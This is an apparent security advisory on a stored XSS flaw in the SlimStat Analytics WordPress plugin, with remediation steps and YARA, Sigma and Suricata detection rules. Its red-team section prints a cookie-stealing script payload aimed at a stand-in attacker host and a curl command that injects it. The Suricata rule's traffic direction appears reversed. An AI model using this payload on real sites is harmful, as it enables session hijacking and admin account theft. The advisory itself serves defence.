CVE-2024-1073

Executive Summary

CVE-2024-1073 is a Stored Cross-Site Scripting (XSS) vulnerability in the SlimStat Analytics plugin for WordPress, affecting all versions up to and including 5.1.3. The flaw resides in insufficient sanitization of the filter_array parameter, allowing authenticated attackers with subscriber-level access or higher to inject arbitrary web scripts. These scripts execute when any user (including administrators) accesses a page containing the malicious payload. The vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly. No public exploit code or patch is currently available, and the vendor has not released a fix.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber)
• User Interaction: Required (Admin or user visits injected page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is elevated due to the low privilege requirement and the potential for privilege escalation via session hijacking or admin credential theft.

Deep Dive & Mechanics

The vulnerability exists in the filter_array parameter used by SlimStat Analytics to filter analytics data. The plugin fails to properly sanitize user input and escape output when rendering filter values in the admin dashboard. An attacker with subscriber-level access can craft a request containing malicious JavaScript in the filter_array parameter. When an administrator or other user views the analytics page, the injected script executes in their browser context.

The attack flow:

1. Attacker logs in as a subscriber.
2. Attacker sends a POST request to the WordPress admin-ajax.php endpoint with the filter_array parameter containing a JavaScript payload.
3. The plugin stores the payload in the database without sanitization.
4. When an admin visits the SlimStat analytics page, the payload is rendered and executed.
5. The script can steal session cookies, perform actions on behalf of the admin, or deface the site.

Vulnerable vs. Patched Code

Vulnerable Code (SlimStat <= 5.1.3): The plugin directly outputs the filter_array value without escaping:

// In wp-slimstat/admin/view/wp-slimstat-view-filters.php
echo '<div class="filter-value">' . $filter_value . '</div>';

Patched Code (Hypothetical): Proper escaping would prevent XSS:

echo '<div class="filter-value">' . esc_html( $filter_value ) . '</div>';

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with SlimStat Analytics <= 5.1.3
• Subscriber-level account credentials

Exploitation Steps:

1. Log in as a subscriber.
2. Craft a malicious payload:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Send the payload via the filter_array parameter:

   curl -X POST http://target.com/wp-admin/admin-ajax.php \
     -d "action=slimstat_update_filter&filter_array=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>" \
     -c cookies.txt
   

4. Wait for an admin to visit the SlimStat analytics page.
5. Capture the admin's session cookie from your attacker server.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team

Detection:

• Monitor for unusual filter_array parameters containing <script> tags.
• Alert on subscriber-level users making POST requests to admin-ajax.php with action=slimstat_update_filter.

Prevention:

• Implement a Web Application Firewall (WAF) rule to block <script> in filter_array.
• Restrict subscriber access to SlimStat analytics pages via role management.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-admin/admin-ajax.php with action=slimstat_update_filter and filter_array containing JavaScript.
• File: Modified entries in the wp_slimstat_filters database table with script tags.
• Log: WordPress debug logs showing filter_array with HTML/JavaScript content.
• Behavior: Unexpected redirects or cookie theft from admin sessions.

Detection Engineering

YARA Rule

rule CVE_2024_1073_SlimStat_XSS {
    meta:
        description = "Detects stored XSS payloads in SlimStat Analytics filter_array parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1073"
    strings:
        $payload = /<script[^>]*>.*?<\/script>/i
        $filter_array = "filter_array"
    condition:
        $filter_array and $payload
}

Sigma Rule

title: SlimStat Analytics Stored XSS via filter_array
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-1073
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=slimstat_update_filter'
        cs-uri-query|contains: 'filter_array='
        cs-uri-query|re: '(<script|<img|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of filter_array with benign HTML (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-1073 SlimStat Analytics Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=slimstat_update_filter"; http_client_body;
    content:"filter_array="; http_client_body;
    pcre:"/(<script|<img|onerror|onload)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-1073;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the SlimStat Analytics plugin until a patch is available.
2. Remove subscriber-level access to the plugin's admin pages via custom role management.
3. Implement a WAF rule to block filter_array parameters containing HTML/JavaScript.

Long-term Fix:

• Monitor the vendor's repository for a patched version (5.1.4 or later).
• Apply input sanitization and output escaping to all user-supplied parameters.

Workaround:

• Use a security plugin like Wordfence to block XSS payloads.
• Restrict admin-ajax.php access to authenticated users with specific capabilities.

Valters IT